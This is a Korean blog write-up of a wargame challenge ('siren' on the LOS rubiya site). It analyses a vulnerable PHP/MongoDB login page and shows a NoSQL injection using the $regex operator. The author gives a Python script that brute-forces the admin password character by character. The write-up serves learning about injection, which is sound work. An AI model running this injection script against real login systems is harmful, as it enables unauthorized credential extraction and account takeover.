<코드 분석>
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
$query = array(
"id" => $_GET['id'],
"pw" => $_GET['pw']
);
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['id']) echo "<h2>Hello User</h2>";
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['pw'] === $_GET['pw']) solve("siren");
highlight_file(__FILE__);
?>
저번보다는 mongodb에 익숙해진 것 같다.
id pw를 받아주고, json_encode 해준다.
가져온 result 에서 id 값을 가져오고, Hello User를 출력해준다.
이때 id 값이 admin일때의 pw 값을 입력해주면 문제가 풀린다.
<해설>
- pw의 길이를 찾아줘야 하고, 문자열 대조가 가능하다면 굳이 길이를 찾을 필요는 없다.
- pw의 길이별 문자를 찾아줘야 한다.
계속 검색해보다가 $regex라는 것을 찾았다.
{<field> : {$regex : /pattern/, $options : '<options>'}}
- pattern
^ : 시작하는 문자.
$ :끝나는 문자
. :개행을 제외한 모든 문자.
- option
- i
- m
- x
- s
한번 써먹어보자.
?id=admin&pw[$regex]=^a
이건 a로 시작하는지 보겠다는 뜻이다. 옵션은 굳이 필요하지 않아서 넣지 않았다.
이전에 mssql 인가 mysql 에서 사용하던 %랑 같은 기능을 하는 것 같다. 좀더 구체적으로 ^와 $를 구분해준게 보인다.
이걸 파이썬 코드에 구현해보자.
+ 하다가 찾은건데 special character 는 exception 이라고 한다.
?가 계속 걸리니까 예외로 처리해서 넣어주자.
import requests
url="https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php"
PHPSESSID="본인의 PHPSESSID"
pw=""
count=0
chk=0
while(1):
if(chk==1):
print("Final pw is : " + pw)
break
count+=1
print("count is : "+str(count))
for i in range(48,123):
pay="?id=admin&pw[$regex]=^"+pw+chr(i)
res=requests.post(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello User" in res.text:
if(i==63):
continue
print("found the letter! :"+pw+chr(i))
pw+=chr(i)
break
if(i==122):
chk+=1
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Mummy (0) | 2020.07.12 |
---|---|
LOS -rubiya : Incubus (0) | 2020.05.22 |
LOS -rubiya : Cerberus (0) | 2020.05.21 |
LOS -rubiya : Darkknight (0) | 2020.05.20 |
LOS -rubiya : Kraken (0) | 2020.05.20 |